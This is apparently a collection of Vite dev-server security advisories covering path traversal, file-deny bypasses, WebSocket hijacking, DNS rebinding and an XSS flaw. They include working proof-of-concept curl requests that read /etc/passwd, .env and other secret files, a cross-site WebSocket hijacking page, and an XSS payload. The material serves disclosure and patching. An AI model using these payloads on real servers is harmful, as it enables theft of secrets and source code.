Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC

1. Start the dev server on the target Example (used during validation with this repository): bash pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173

2. Confirm that access is blocked via the HTTP path (example: arbitrary file) bash curl -i 'http://localhost:5173/@fs/etc/passwd?raw' Result: 403 Restricted (outside the allow list) <img width="3898" height="1014" alt="image" src="https://github.com/user-attachments/assets/f6593377-549c-45d7-b562-5c19833438af" />

3. Confirm that the same file can be retrieved via the WebSocket path By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module. <img width="1049" height="296" alt="image" src="https://github.com/user-attachments/assets/af969f7b-d34e-4af4-8adb-5e2b83b31972" /> <img width="1382" height="955" alt="image" src="https://github.com/user-attachments/assets/6a230d2e-197a-4c9c-b373-d0129756d5d7" />

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - the sensitive file exists in the allowed directories specified by server.fs.allow - the sensitive file is denied with a pattern that matches a file by server.fs.deny

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, .crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC

1. Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort 2. Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20 <img width="3944" height="1092" alt="image" src="https://github.com/user-attachments/assets/ecb9f2e0-e08f-4ac7-b194-e0f988c4cd4f" /> 3. Confirm that the same files can be retrieved with query parameters (expect 200): <img width="2014" height="373" alt="image" src="https://github.com/user-attachments/assets/76bc2a6a-44f4-4161-ae47-eab5ae0c04a8" />

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - the sensitive file exists in the allowed directories specified by server.fs.allow - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env., and .{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev Access via browser at http://localhost:5173/.env::$DATA?raw <img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" />

Example expected result: - /.env::$DATA?raw returns the contents of .env - /tls.pem::$DATA?raw returns the contents of tls.pem

Summary Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

Details Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC Setup 1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance. - npm run dev -- --host 0.0.0.0 - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. custom.secret and production.pem 3. Populated vite.config.js with javascript export default { server: { fs: { deny: ['.env', '.env.', '.{crt,pem}', 'custom.secret'] } } }

Reproduction 1. curl -s http://20.12.242.81:5173/@fs// - Descriptive error page reveals absolute filesystem path to project root 2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js - Discoverable configuration file reveals locations of secrets 3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT - Secrets are directly accessible using case-augmented version of filename

Proof !Screenshot 2024-01-19 022736

Impact Who - Users with exposed dev servers on environments with case-insensitive filesystems

What - Files protected by server.fs.deny are both discoverable, and accessible

Summary The contents of arbitrary files can be returned to the browser.

Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

$ echo "top secret content" > /tmp/secret.txt

expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"

<body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...

Summary

The contents of arbitrary files can be returned to the browser.

Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.

Steps to Fix. Update Vite: Ensure that you are using the latest version of Vite. Security issues like this are often fixed in newer releases.\n2. Secure the server configuration: In your vite.config.js file, review and update the server configuration options to restrict access to unauthorized requests or directories.

Impact Only users explicitly exposing the Vite dev server to the network (using --host or the server.host config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.

### Details Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev.\n3. Directly access the file via url using double forward-slash (//) (e.g: //.env, //.env.local)\n4. The server option fs.deny was successfully bypassed.

Proof Images: !proof-1\n!proof-2

Summary Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

[!WARNING] This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

- Using the backend integration feature - Using a reverse proxy in front of Vite - Accessing the development server via a domain other than localhost or .localhost - Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than , otherwise any origin can access your development server.

Using a reverse proxy in front of Vite If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or .localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or .localhost You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

- fix the plugin / framework code to the make it compatible with the new version of Vite - set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite - When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite [1]: Permissive default CORS settings Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: . This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com). 2. The user accesses the malicious web page. 3. The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 4. The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com). 2. The user accesses the malicious web page. 3. The attacker runs new WebSocket('http://127.0.0.1:5173', 'vite-hmr') by JS in that malicious web page. 4. The user edits some files. 5. Vite sends some HMR messages over WebSocket. 6. The attacker gets the content of the HMR messages.

[3]: Lack of validation on the Host header for HTTP requests

Unless server.https is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.

1. The attacker serves a malicious web page that is served on HTTP (http://malicious.example.com:5173) (HTTPS won't work). 2. The user accesses the malicious web page. 3. The attacker changes the DNS to point to 127.0.0.1 (or other private addresses). 4. The attacker sends a fetch('/main.js') request by JS in that malicious web page. 5. The attacker gets the content of http://127.0.0.1:5173/main.js bypassing the same origin policy.

Impact [1]: Permissive default CORS settings Users with the default server.cors option may:

- get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

[2]: Lack of validation on the Origin header for WebSocket connections All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.

For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.

For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.

[3]: Lack of validation on the Host header for HTTP requests Users using HTTP for the development server and using a browser that is not Chrome 94+ may:

- get the source code stolen by malicious websites - give the attacker access to functionalities that are not supposed to be exposed externally - Vite core does not have any functionality that causes changes somewhere else when receiving a request, but plugins may implement those functionalities and servers behind server.proxy may have those functionalities.

Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.

Related Information Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.

PoC [2]: Lack of validation on the Origin header for WebSocket connections 1. I used the react template which utilizes HMR functionality.

npm create vite@latest my-vue-app-react -- --template react

2. Then on a malicious server, serve the following POC html: html <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>vite CSWSH</title> </head> <body> <div id="logs"></div> <script> const div = document.querySelectorAll('#logs')[0]; const ws = new WebSocket('ws://localhost:5173','vite-hmr'); ws.onmessage = event => { const logLine = document.createElement('p'); logLine.innerHTML = event.data; div.append(logLine); }; </script> </body> </html>

3. Kick off Vite

npm run dev

4. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser. 5. Edit src/App.jsx file and intentionally place a syntax error 6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed

Here's a video demonstrating the POC:

https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC 1. Create a minimal PoC sourcemap outside the project root bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF 2. Start the Vite dev server (example) bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 3. Confirm that direct /@fs access is blocked by strict (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" />

Summary When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12

Details Suppose index.html contains an inline module script:

html <script type="module"> // Inline script </script>

This script is transformed into a proxy script like

html <script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/packages/vite/src/node/plugins/html.ts#L429-L465

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

https://github.com/vitejs/vite/blob/73ef074b80fa7252e0c46a37a2c94ba8cba46504/packages/vite/src/node/server/middlewares/htmlFallback.ts#L44-L47

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

html <script type="module" src="/@id/x00/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

html <script type="module" src="/@id/x00/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

- Example 1. Serving HTML from vite dev middleware with appType: 'custom' - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html - "Open in New Tab" - Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate - Witness XSS: - !image - Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode): - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server - (Same steps as above) - Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used) - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev - (Same steps as above) - You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/docs/guide/ssr.md?plain=1#L114-L126

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

js import fs from 'node:fs/promises'; import as vite from 'vite';

const html = <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> ; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

Summary The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed.

- Examples of file matching patterns: .env, .env., .{crt,pem}, /.env - Examples of other patterns: /.git/, .git/, .git//

Details server.fs.deny can contain patterns matching against files (by default it includes .env, .env., .{crt,pem} as such patterns). These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env/. http://localhost:5173

!image !image

Summary Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - uses the public directory feature (enabled by default) - a symlink exists in the public directory

Details The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC Execute the following shell commands:

npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(dirname, "p/"), server: {fs: {deny: [path.resolve(dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links - https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb

Summary Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC Execute the following shell commands:

npm create vite@latest cd vite-project/ echo "secret" > /tmp/secret.html npm install npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(dirname, "secretfiles/")]}}})' > vite.config.js mkdir secretfiles echo "secret txt" > secretfiles/secret.txt echo "secret html" > secretfiles/secret.html npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secretfiles/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secretfiles directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secretfiles/secret.html'

You will receive the contents of secretfiles/secret.html.